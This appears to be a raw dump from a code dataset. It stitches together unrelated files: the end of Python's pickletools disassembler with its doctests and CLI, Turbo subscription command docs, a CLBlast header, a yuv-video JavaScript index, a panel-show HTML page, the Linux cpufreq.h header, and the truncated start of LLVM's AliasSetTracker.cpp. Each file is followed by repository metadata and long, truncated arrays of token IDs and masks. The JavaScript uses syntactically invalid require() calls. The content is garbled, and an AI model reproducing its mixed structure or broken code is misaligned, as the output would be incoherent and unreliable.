at 0) 2: p PUT 0 5: c GLOBAL 'copy_reg _reconstructor' 30: p PUT 1 33: ( MARK 34: c GLOBAL 'pickletools _Example' 56: p PUT 2 59: c GLOBAL '__builtin__ object' 79: p PUT 3 82: N NONE 83: t TUPLE (MARK at 33) 84: p PUT 4 87: R REDUCE 88: p PUT 5 91: ( MARK 92: d DICT (MARK at 91) 93: p PUT 6 96: V UNICODE 'value' 103: p PUT 7 106: L LONG 42 111: s SETITEM 112: b BUILD 113: a APPEND 114: g GET 5 117: a APPEND 118: . STOP highest protocol among opcodes = 0 >>> dis(pickle.dumps(x, 1)) 0: ] EMPTY_LIST 1: q BINPUT 0 3: ( MARK 4: c GLOBAL 'copy_reg _reconstructor' 29: q BINPUT 1 31: ( MARK 32: c GLOBAL 'pickletools _Example' 54: q BINPUT 2 56: c GLOBAL '__builtin__ object' 76: q BINPUT 3 78: N NONE 79: t TUPLE (MARK at 31) 80: q BINPUT 4 82: R REDUCE 83: q BINPUT 5 85: } EMPTY_DICT 86: q BINPUT 6 88: X BINUNICODE 'value' 98: q BINPUT 7 100: K BININT1 42 102: s SETITEM 103: b BUILD 104: h BINGET 5 106: e APPENDS (MARK at 3) 107: . STOP highest protocol among opcodes = 1 Try "the canonical" recursive-object test. >>> L = [] >>> T = L, >>> L.append(T) >>> L[0] is T True >>> T[0] is L True >>> L[0][0] is L True >>> T[0][0] is T True >>> dis(pickle.dumps(L, 0)) 0: ( MARK 1: l LIST (MARK at 0) 2: p PUT 0 5: ( MARK 6: g GET 0 9: t TUPLE (MARK at 5) 10: p PUT 1 13: a APPEND 14: . STOP highest protocol among opcodes = 0 >>> dis(pickle.dumps(L, 1)) 0: ] EMPTY_LIST 1: q BINPUT 0 3: ( MARK 4: h BINGET 0 6: t TUPLE (MARK at 3) 7: q BINPUT 1 9: a APPEND 10: . STOP highest protocol among opcodes = 1 Note that, in the protocol 0 pickle of the recursive tuple, the disassembler has to emulate the stack in order to realize that the POP opcode at 16 gets rid of the MARK at 0. >>> dis(pickle.dumps(T, 0)) 0: ( MARK 1: ( MARK 2: l LIST (MARK at 1) 3: p PUT 0 6: ( MARK 7: g GET 0 10: t TUPLE (MARK at 6) 11: p PUT 1 14: a APPEND 15: 0 POP 16: 0 POP (MARK at 0) 17: g GET 1 20: . STOP highest protocol among opcodes = 0 >>> dis(pickle.dumps(T, 1)) 0: ( MARK 1: ] EMPTY_LIST 2: q BINPUT 0 4: ( MARK 5: h BINGET 0 7: t TUPLE (MARK at 4) 8: q BINPUT 1 10: a APPEND 11: 1 POP_MARK (MARK at 0) 12: h BINGET 1 14: . STOP highest protocol among opcodes = 1 Try protocol 2. >>> dis(pickle.dumps(L, 2)) 0: \x80 PROTO 2 2: ] EMPTY_LIST 3: q BINPUT 0 5: h BINGET 0 7: \x85 TUPLE1 8: q BINPUT 1 10: a APPEND 11: . STOP highest protocol among opcodes = 2 >>> dis(pickle.dumps(T, 2)) 0: \x80 PROTO 2 2: ] EMPTY_LIST 3: q BINPUT 0 5: h BINGET 0 7: \x85 TUPLE1 8: q BINPUT 1 10: a APPEND 11: 0 POP 12: h BINGET 1 14: . STOP highest protocol among opcodes = 2 Try protocol 3 with annotations: >>> dis(pickle.dumps(T, 3), annotate=1) 0: \x80 PROTO 3 Protocol version indicator. 2: ] EMPTY_LIST Push an empty list. 3: q BINPUT 0 Store the stack top into the memo. The stack is not popped. 5: h BINGET 0 Read an object from the memo and push it on the stack. 7: \x85 TUPLE1 Build a one-tuple out of the topmost item on the stack. 8: q BINPUT 1 Store the stack top into the memo. The stack is not popped. 10: a APPEND Append an object to a list. 11: 0 POP Discard the top stack item, shrinking the stack by one item. 12: h BINGET 1 Read an object from the memo and push it on the stack. 14: . STOP Stop the unpickling machine. highest protocol among opcodes = 2 """ _memo_test = r""" >>> import pickle >>> import io >>> f = io.BytesIO() >>> p = pickle.Pickler(f, 2) >>> x = [1, 2, 3] >>> p.dump(x) >>> p.dump(x) >>> f.seek(0) 0 >>> memo = {} >>> dis(f, memo=memo) 0: \x80 PROTO 2 2: ] EMPTY_LIST 3: q BINPUT 0 5: ( MARK 6: K BININT1 1 8: K BININT1 2 10: K BININT1 3 12: e APPENDS (MARK at 5) 13: . STOP highest protocol among opcodes = 2 >>> dis(f, memo=memo) 14: \x80 PROTO 2 16: h BINGET 0 18: . STOP highest protocol among opcodes = 2 """ __test__ = {'disassembler_test': _dis_test, 'disassembler_memo_test': _memo_test, } def _test(): import doctest return doctest.testmod() if __name__ == "__main__": import argparse parser = argparse.ArgumentParser( description='disassemble one or more pickle files') parser.add_argument( 'pickle_file', type=argparse.FileType('br'), nargs='*', help='the pickle file') parser.add_argument( '-o', '--output', default=sys.stdout, type=argparse.FileType('w'), help='the file where the output should be written') parser.add_argument( '-m', '--memo', action='store_true', help='preserve memo between disassemblies') parser.add_argument( '-l', '--indentlevel', default=4, type=int, help='the number of blanks by which to indent a new MARK level') parser.add_argument( '-a', '--annotate', action='store_true', help='annotate each line with a short opcode description') parser.add_argument( '-p', '--preamble', default="==> {name} <==", help='if more than one pickle file is specified, print this before' ' each disassembly') parser.add_argument( '-t', '--test', action='store_true', help='run self-test suite') parser.add_argument( '-v', action='store_true', help='run verbosely; only affects self-test run') args = parser.parse_args() if args.test: _test() else: annotate = 30 if args.annotate else 0 if not args.pickle_file: parser.print_help() elif len(args.pickle_file) == 1: dis(args.pickle_file[0], args.output, None, args.indentlevel, annotate) else: memo = {} if args.memo else None for f in args.pickle_file: preamble = args.preamble.format(name=f.name) args.output.write(preamble + '\n') dis(f, args.output, memo, args.indentlevel, annotate)
yotchang4s/cafebabepy
src/main/python/pickletools.py
Python
bsd-3-clause
91,809
[ 30522, 1005, 1005, 1005, 1000, 4654, 8586, 23056, 12653, 1000, 2005, 1996, 4060, 2571, 11336, 1012, 4866, 7928, 2055, 1996, 4060, 2571, 16744, 1998, 4060, 2571, 1011, 3698, 6728, 23237, 2064, 2022, 2179, 2182, 1012, 2070, 4972, 3214, 2005, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
## subscription The `subscription` command is used to update, suspend, resume and print the details of a subscription. ``` Usage: subscription <options> [action] <name> sub <options> [action] <name> <options> available: --format=VALUE Use the specified format for output. Supported values: json --no-pull Update the subscription without pulling images --wait-after-error Leave process open after error --wait-after-exit Leave process open after it exits ``` The available actions are `update`, `suspend`, `resume` and `print`. ### Update a Subscription The `update` action updates all of the images in the subscription to the latest version. Use the `--no-pull` option to update the subscription without pulling new image versions, instead the images will be streamed on demand. ### Suspend and Resume a Subscription The `suspend` action suspends updates for the specified subscription. The `resume` command will resume updates. ### Listing Details The `print` action shows details about the subscription. ``` > turbo subscription print example-channel Subscription example-channel for the current user Created 08.02.2016 17:20:23, last updated never (automatic) Name Repo Status Release Layers ---- ---- ------ ------- ------ Mozilla Firefox & Flash Latest mozilla/firefox Installed 44.0 adobe/flash:20.0.0.267 Mozilla Firefox Latest mozilla/firefox Installed 44.0 ```
turboapps/docs
reference/command_line/subscription.md
Markdown
apache-2.0
1,590
[ 30522, 1001, 1001, 15002, 1996, 1036, 15002, 1036, 3094, 2003, 2109, 2000, 10651, 1010, 28324, 1010, 13746, 1998, 6140, 1996, 4751, 1997, 1037, 15002, 1012, 1036, 1036, 1036, 8192, 1024, 15002, 1026, 7047, 1028, 1031, 2895, 1033, 1026, 2171...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
// ================================================================================================= // This file is part of the CLBlast project. The project is licensed under Apache Version 2.0. This // project loosely follows the Google C++ styleguide and uses a tab-size of two spaces and a max- // width of 100 characters per line. // // Author(s): // Cedric Nugteren <www.cedricnugteren.nl> // // This file implements the Xsum routine. The precision is implemented using a template argument. // // ================================================================================================= #ifndef CLBLAST_ROUTINES_XSUM_H_ #define CLBLAST_ROUTINES_XSUM_H_ #include "routine.hpp" #include "routines/level1/xasum.hpp" namespace clblast { // ================================================================================================= // See comment at top of file for a description of the class template <typename T> class Xsum: public Xasum<T> { public: // Members and methods from the base class using Xasum<T>::DoAsum; // Constructor Xsum(Queue &queue, EventPointer event, const std::string &name = "SUM"): Xasum<T>(queue, event, name) { } // Forwards to the regular absolute version. The implementation difference is realised in the // kernel through a pre-processor macro based on the name of the routine. void DoSum(const size_t n, const Buffer<T> &sum_buffer, const size_t sum_offset, const Buffer<T> &x_buffer, const size_t x_offset, const size_t x_inc) { DoAsum(n, sum_buffer, sum_offset, x_buffer, x_offset, x_inc); } }; // ================================================================================================= } // namespace clblast // CLBLAST_ROUTINES_XSUM_H_ #endif
gpu/CLBlast
src/routines/level1/xsum.hpp
C++
apache-2.0
1,769
[ 30522, 1013, 1013, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 102...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/** @file Export all functions in yuv-video to user @author Gilson Varghese<gilsonvarghese7@gmail.com> @date 13 Oct, 2016 **/ /** Module includes */ var frameReader = require(./lib/framereader); var frameWriter = require(./lib/framewriter); var frameConverter = require(./lib/frameconverter); /** Global variables */ var version = "1.0.0"; /** Export all the functions to global namespace */ module.exports = { /** Test function to test the reader */ version: function() { return version; }, /** Frame reader to read frame according to the given options */ frameReader: frameReader, /** Frame Writer to write frame according to the options */ frameWrite: frameWriter, /** Frame Converter to conver frame into various formats Currently only YV21 and V210 are supported */ frameConverter: frameConverter };
gilson27/yuv-video
index.js
JavaScript
bsd-3-clause
878
[ 30522, 1013, 1008, 1008, 1030, 5371, 9167, 2035, 4972, 1999, 9805, 2615, 1011, 2678, 2000, 5310, 1030, 3166, 13097, 3385, 13075, 5603, 6810, 1026, 13097, 3385, 10755, 5603, 6810, 2581, 1030, 20917, 4014, 1012, 4012, 1028, 1030, 3058, 2410, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<html> <head> <title>Terry George's panel show appearances</title> <script type="text/javascript" src="../common.js"></script> <link rel="stylesheet" media="all" href="../style.css" type="text/css"/> <script type="text/javascript" src="../people.js"></script> <!--#include virtual="head.txt" --> </head> <body> <!--#include virtual="nav.txt" --> <div class="page"> <h1>Terry George's panel show appearances</h1> <p>Terry George has appeared in <span class="total">1</span> episodes between 2009-2009. <a href="http://www.imdb.com/name/nm313623">Terry George on IMDB</a>. <a href="https://en.wikipedia.org/wiki/Terry_George">Terry George on Wikipedia</a>.</p> <div class="performerholder"> <table class="performer"> <tr style="vertical-align:bottom;"> <td><div style="height:100px;" class="performances male" title="1"></div><span class="year">2009</span></td> </tr> </table> </div> <ol class="episodes"> <li><strong>2009-06-26</strong> / <a href="../shows/loosewomen.html">Loose Women</a></li> </ol> </div> </body> </html>
slowe/panelshows
people/ne3kzguz.html
HTML
mit
1,049
[ 30522, 1026, 16129, 1028, 1026, 2132, 1028, 1026, 2516, 1028, 6609, 2577, 1005, 1055, 5997, 2265, 3922, 1026, 1013, 2516, 1028, 1026, 5896, 2828, 1027, 1000, 3793, 1013, 9262, 22483, 1000, 5034, 2278, 1027, 1000, 1012, 1012, 1013, 2691, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * linux/include/linux/cpufreq.h * * Copyright (C) 2001 Russell King * (C) 2002 - 2003 Dominik Brodowski <linux@brodo.de> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. */ #ifndef _LINUX_CPUFREQ_H #define _LINUX_CPUFREQ_H #include <linux/mutex.h> #include <linux/notifier.h> #include <linux/threads.h> #include <linux/device.h> #include <linux/kobject.h> #include <linux/sysfs.h> #include <linux/completion.h> #include <linux/workqueue.h> #include <linux/cpumask.h> #include <asm/div64.h> #define CPUFREQ_NAME_LEN 16 /********************************************************************* * CPUFREQ NOTIFIER INTERFACE * *********************************************************************/ #define CPUFREQ_TRANSITION_NOTIFIER (0) #define CPUFREQ_POLICY_NOTIFIER (1) #ifdef CONFIG_CPU_FREQ int cpufreq_register_notifier(struct notifier_block *nb, unsigned int list); int cpufreq_unregister_notifier(struct notifier_block *nb, unsigned int list); #else /* CONFIG_CPU_FREQ */ static inline int cpufreq_register_notifier(struct notifier_block *nb, unsigned int list) { return 0; } static inline int cpufreq_unregister_notifier(struct notifier_block *nb, unsigned int list) { return 0; } #endif /* CONFIG_CPU_FREQ */ /* if (cpufreq_driver->target) exists, the ->governor decides what frequency * within the limits is used. If (cpufreq_driver->setpolicy> exists, these * two generic policies are available: */ #define CPUFREQ_POLICY_POWERSAVE (1) #define CPUFREQ_POLICY_PERFORMANCE (2) /* Minimum frequency cutoff to notify the userspace about cpu utilization * changes */ #define MIN_CPU_UTIL_NOTIFY 40 /* Frequency values here are CPU kHz so that hardware which doesn't run * with some frequencies can complain without having to guess what per * cent / per mille means. * Maximum transition latency is in nanoseconds - if it's unknown, * CPUFREQ_ETERNAL shall be used. */ struct cpufreq_governor; /* /sys/devices/system/cpu/cpufreq: entry point for global variables */ extern struct kobject *cpufreq_global_kobject; #define CPUFREQ_ETERNAL (-1) struct cpufreq_cpuinfo { unsigned int max_freq; unsigned int min_freq; /* in 10^(-9) s = nanoseconds */ unsigned int transition_latency; }; struct cpufreq_real_policy { unsigned int min; /* in kHz */ unsigned int max; /* in kHz */ unsigned int policy; /* see above */ struct cpufreq_governor *governor; /* see below */ }; struct cpufreq_policy { cpumask_var_t cpus; /* CPUs requiring sw coordination */ cpumask_var_t related_cpus; /* CPUs with any coordination */ unsigned int shared_type; /* ANY or ALL affected CPUs should set cpufreq */ unsigned int cpu; /* cpu nr of registered CPU */ struct cpufreq_cpuinfo cpuinfo;/* see above */ unsigned int min; /* in kHz */ unsigned int max; /* in kHz */ unsigned int cur; /* in kHz, only needed if cpufreq * governors are used */ unsigned int util; /* CPU utilization at max frequency */ unsigned int policy; /* see above */ struct cpufreq_governor *governor; /* see below */ struct work_struct update; /* if update_policy() needs to be * called, but you're in IRQ context */ struct cpufreq_real_policy user_policy; struct kobject kobj; struct completion kobj_unregister; }; #define CPUFREQ_ADJUST (0) #define CPUFREQ_INCOMPATIBLE (1) #define CPUFREQ_NOTIFY (2) #define CPUFREQ_START (3) #define CPUFREQ_SHARED_TYPE_NONE (0) /* None */ #define CPUFREQ_SHARED_TYPE_HW (1) /* HW does needed coordination */ #define CPUFREQ_SHARED_TYPE_ALL (2) /* All dependent CPUs should set freq */ #define CPUFREQ_SHARED_TYPE_ANY (3) /* Freq can be set from any dependent CPU*/ /******************** cpufreq transition notifiers *******************/ #define CPUFREQ_PRECHANGE (0) #define CPUFREQ_POSTCHANGE (1) #define CPUFREQ_RESUMECHANGE (8) #define CPUFREQ_SUSPENDCHANGE (9) struct cpufreq_freqs { unsigned int cpu; /* cpu nr */ unsigned int old; unsigned int new; u8 flags; /* flags of cpufreq_driver, see below. */ }; /** * cpufreq_scale - "old * mult / div" calculation for large values (32-bit-arch safe) * @old: old value * @div: divisor * @mult: multiplier * * * new = old * mult / div */ static inline unsigned long cpufreq_scale(unsigned long old, u_int div, u_int mult) { #if BITS_PER_LONG == 32 u64 result = ((u64) old) * ((u64) mult); do_div(result, div); return (unsigned long) result; #elif BITS_PER_LONG == 64 unsigned long result = old * ((u64) mult); result /= div; return result; #endif }; /********************************************************************* * CPUFREQ GOVERNORS * *********************************************************************/ #define CPUFREQ_GOV_START 1 #define CPUFREQ_GOV_STOP 2 #define CPUFREQ_GOV_LIMITS 3 struct cpufreq_governor { char name[CPUFREQ_NAME_LEN]; int (*governor) (struct cpufreq_policy *policy, unsigned int event); ssize_t (*show_setspeed) (struct cpufreq_policy *policy, char *buf); int (*store_setspeed) (struct cpufreq_policy *policy, unsigned int freq); unsigned int max_transition_latency; /* HW must be able to switch to next freq faster than this value in nano secs or we will fallback to performance governor */ struct list_head governor_list; struct module *owner; }; /* * Pass a target to the cpufreq driver. */ extern int cpufreq_driver_target(struct cpufreq_policy *policy, unsigned int target_freq, unsigned int relation); extern int __cpufreq_driver_target(struct cpufreq_policy *policy, unsigned int target_freq, unsigned int relation); extern int __cpufreq_driver_getavg(struct cpufreq_policy *policy, unsigned int cpu); int cpufreq_register_governor(struct cpufreq_governor *governor); void cpufreq_unregister_governor(struct cpufreq_governor *governor); int lock_policy_rwsem_write(int cpu); void unlock_policy_rwsem_write(int cpu); /********************************************************************* * CPUFREQ DRIVER INTERFACE * *********************************************************************/ #define CPUFREQ_RELATION_L 0 /* lowest frequency at or above target */ #define CPUFREQ_RELATION_H 1 /* highest frequency below or at target */ struct freq_attr; struct cpufreq_driver { struct module *owner; char name[CPUFREQ_NAME_LEN]; u8 flags; /* needed by all drivers */ int (*init) (struct cpufreq_policy *policy); int (*verify) (struct cpufreq_policy *policy); /* define one out of two */ int (*setpolicy) (struct cpufreq_policy *policy); int (*target) (struct cpufreq_policy *policy, unsigned int target_freq, unsigned int relation); /* should be defined, if possible */ unsigned int (*get) (unsigned int cpu); /* optional */ unsigned int (*getavg) (struct cpufreq_policy *policy, unsigned int cpu); int (*bios_limit) (int cpu, unsigned int *limit); int (*exit) (struct cpufreq_policy *policy); int (*suspend) (struct cpufreq_policy *policy); int (*resume) (struct cpufreq_policy *policy); struct freq_attr **attr; }; /* flags */ #define CPUFREQ_STICKY 0x01 /* the driver isn't removed even if * all ->init() calls failed */ #define CPUFREQ_CONST_LOOPS 0x02 /* loops_per_jiffy or other kernel * "constants" aren't affected by * frequency transitions */ #define CPUFREQ_PM_NO_WARN 0x04 /* don't warn on suspend/resume speed * mismatches */ int cpufreq_register_driver(struct cpufreq_driver *driver_data); int cpufreq_unregister_driver(struct cpufreq_driver *driver_data); void cpufreq_notify_transition(struct cpufreq_freqs *freqs, unsigned int state); void cpufreq_notify_utilization(struct cpufreq_policy *policy, unsigned int load); static inline void cpufreq_verify_within_limits(struct cpufreq_policy *policy, unsigned int min, unsigned int max) { if (policy->min < min) policy->min = min; if (policy->max < min) policy->max = min; if (policy->min > max) policy->min = max; if (policy->max > max) policy->max = max; if (policy->min > policy->max) policy->min = policy->max; return; } struct freq_attr { struct attribute attr; ssize_t (*show)(struct cpufreq_policy *, char *); ssize_t (*store)(struct cpufreq_policy *, const char *, size_t count); }; #define cpufreq_freq_attr_ro(_name) \ static struct freq_attr _name = \ __ATTR(_name, 0444, show_##_name, NULL) #define cpufreq_freq_attr_ro_perm(_name, _perm) \ static struct freq_attr _name = \ __ATTR(_name, _perm, show_##_name, NULL) #define cpufreq_freq_attr_rw(_name) \ static struct freq_attr _name = \ __ATTR(_name, 0644, show_##_name, store_##_name) struct global_attr { struct attribute attr; ssize_t (*show)(struct kobject *kobj, struct attribute *attr, char *buf); ssize_t (*store)(struct kobject *a, struct attribute *b, const char *c, size_t count); }; #define define_one_global_ro(_name) \ static struct global_attr _name = \ __ATTR(_name, 0444, show_##_name, NULL) #define define_one_global_rw(_name) \ static struct global_attr _name = \ __ATTR(_name, 0644, show_##_name, store_##_name) /********************************************************************* * CPUFREQ 2.6. INTERFACE * *********************************************************************/ int cpufreq_get_policy(struct cpufreq_policy *policy, unsigned int cpu); int cpufreq_update_policy(unsigned int cpu); #ifdef CONFIG_CPU_FREQ /* query the current CPU frequency (in kHz). If zero, cpufreq couldn't detect it */ unsigned int cpufreq_get(unsigned int cpu); #else static inline unsigned int cpufreq_get(unsigned int cpu) { return 0; } #endif /* query the last known CPU freq (in kHz). If zero, cpufreq couldn't detect it */ #ifdef CONFIG_CPU_FREQ unsigned int cpufreq_quick_get(unsigned int cpu); #else static inline unsigned int cpufreq_quick_get(unsigned int cpu) { return 0; } #endif /********************************************************************* * CPUFREQ DEFAULT GOVERNOR * *********************************************************************/ /* Performance governor is fallback governor if any other gov failed to auto load due latency restrictions */ #ifdef CONFIG_CPU_FREQ_GOV_PERFORMANCE extern struct cpufreq_governor cpufreq_gov_performance; #endif #ifdef CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE #define CPUFREQ_DEFAULT_GOVERNOR (&cpufreq_gov_performance) #elif defined(CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE) extern struct cpufreq_governor cpufreq_gov_powersave; #define CPUFREQ_DEFAULT_GOVERNOR (&cpufreq_gov_powersave) #elif defined(CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE) extern struct cpufreq_governor cpufreq_gov_userspace; #define CPUFREQ_DEFAULT_GOVERNOR (&cpufreq_gov_userspace) #elif defined(CONFIG_CPU_FREQ_DEFAULT_GOV_ONDEMAND) extern struct cpufreq_governor cpufreq_gov_ondemand; #define CPUFREQ_DEFAULT_GOVERNOR (&cpufreq_gov_ondemand) #elif defined(CONFIG_CPU_FREQ_DEFAULT_GOV_CONSERVATIVE) extern struct cpufreq_governor cpufreq_gov_conservative; #define CPUFREQ_DEFAULT_GOVERNOR (&cpufreq_gov_conservative) #elif defined(CONFIG_CPU_FREQ_DEFAULT_GOV_INTERACTIVE) extern struct cpufreq_governor cpufreq_gov_interactive; #define CPUFREQ_DEFAULT_GOVERNOR (&cpufreq_gov_interactive) #elif defined(CONFIG_CPU_FREQ_DEFAULT_GOV_PEGASUSQ) extern struct cpufreq_governor cpufreq_gov_pegasusq; #define CPUFREQ_DEFAULT_GOVERNOR (&cpufreq_gov_pegasusq) #endif /********************************************************************* * FREQUENCY TABLE HELPERS * *********************************************************************/ #define CPUFREQ_ENTRY_INVALID ~0 #define CPUFREQ_TABLE_END ~1 struct cpufreq_frequency_table { unsigned int index; /* any */ unsigned int frequency; /* kHz - doesn't need to be in ascending * order */ }; int cpufreq_frequency_table_cpuinfo(struct cpufreq_policy *policy, struct cpufreq_frequency_table *table); int cpufreq_frequency_table_verify(struct cpufreq_policy *policy, struct cpufreq_frequency_table *table); int cpufreq_frequency_table_target(struct cpufreq_policy *policy, struct cpufreq_frequency_table *table, unsigned int target_freq, unsigned int relation, unsigned int *index); /* the following 3 funtions are for cpufreq core use only */ struct cpufreq_frequency_table *cpufreq_frequency_get_table(unsigned int cpu); struct cpufreq_policy *cpufreq_cpu_get(unsigned int cpu); void cpufreq_cpu_put(struct cpufreq_policy *data); /* the following are really really optional */ extern struct freq_attr cpufreq_freq_attr_scaling_available_freqs; void cpufreq_frequency_table_get_attr(struct cpufreq_frequency_table *table, unsigned int cpu); void cpufreq_frequency_table_put_attr(unsigned int cpu); #endif /* _LINUX_CPUFREQ_H */
NieNs/IM-A840S-kernel
include/linux/cpufreq.h
C
gpl-2.0
13,231
[ 30522, 1013, 1008, 1008, 11603, 1013, 2421, 1013, 11603, 1013, 17368, 19699, 2063, 4160, 1012, 1044, 1008, 1008, 9385, 1006, 1039, 1007, 2541, 5735, 2332, 1008, 1006, 1039, 1007, 2526, 1011, 2494, 14383, 5498, 2243, 22953, 3527, 10344, 1026...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
//===- AliasSetTracker.cpp - Alias Sets Tracker implementation-------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // // This file implements the AliasSetTracker and AliasSet classes. // //===----------------------------------------------------------------------===// #include "llvm/Analysis/AliasSetTracker.h" #include "llvm/Analysis/AliasAnalysis.h" #include "llvm/Analysis/GuardUtils.h" #include "llvm/Analysis/LoopInfo.h" #include "llvm/Analysis/MemoryLocation.h" #include "llvm/Analysis/MemorySSA.h" #include "llvm/Config/llvm-config.h" #include "llvm/IR/Constants.h" #include "llvm/IR/DataLayout.h" #include "llvm/IR/Function.h" #include "llvm/IR/InstIterator.h" #include "llvm/IR/Instruction.h" #include "llvm/IR/Instructions.h" #include "llvm/IR/IntrinsicInst.h" #include "llvm/IR/Module.h" #include "llvm/IR/PatternMatch.h" #include "llvm/IR/Value.h" #include "llvm/InitializePasses.h" #include "llvm/Pass.h" #include 